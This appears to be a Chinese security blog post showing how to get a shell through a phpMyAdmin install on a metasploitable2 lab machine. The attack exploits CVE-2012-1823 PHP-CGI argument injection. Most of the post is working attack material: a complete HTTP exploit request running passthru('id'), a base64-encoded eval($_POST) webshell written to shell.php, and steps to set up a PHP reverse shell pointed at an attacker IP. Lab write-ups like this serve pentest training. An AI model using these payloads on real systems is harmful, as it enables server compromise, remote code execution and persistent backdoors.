当前位置: 首页 > 技术干货 > phpMyAdmin 未授权Getshell

phpMyAdmin 未授权Getshell

发表于:2024-02-01 16:40 作者: The Ju1y 阅读数(2609人)

前言

做渗透测试的时候偶然发现,phpmyadmin少见的打法,以下就用靶场进行演示了。

0x01漏洞发现

环境搭建使用metasploitable2,可在网上搜索下载,搭建很简单这里不多说了。

发现phpmyadmin,如果这个时候无法登陆,且也没有前台的漏洞,可以继续在这个phpmyadmin目录下做文章。

发现setup

0x02漏洞利用

进行漏洞利用

https://juejin.cn/post/7042901479388086285

POST
/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
HTTP/1.1

Host: 192.168.48.143

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: phpMyAdmin=bdbb427ed9c5e8616fe90261adcfb7229d6ca189;
pma_lang=en-utf-8

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 36

\<?php

passthru(\'id\');

die();

?\>

这里利用的是CVE-2012-1823

?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

解码后

?-d allow_url_include=on -d auto_prepend_file=php://input

开启allow_url_include和auto_prepend_file

其中allow_url_include可以远程文件包含,auto_prepend_file加载php://input

其中php://input 可以读取http entitybody中指定长度的值,由Content-Length指定长度

写一句话木马getshell

echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >shell.php

0x03反弹shell

利用kali现成的

cp /usr/share/webshells/php/php-reverse-shell.php ./1.php

修改这个ip

修改ip

反弹shell成功,且无文件生成。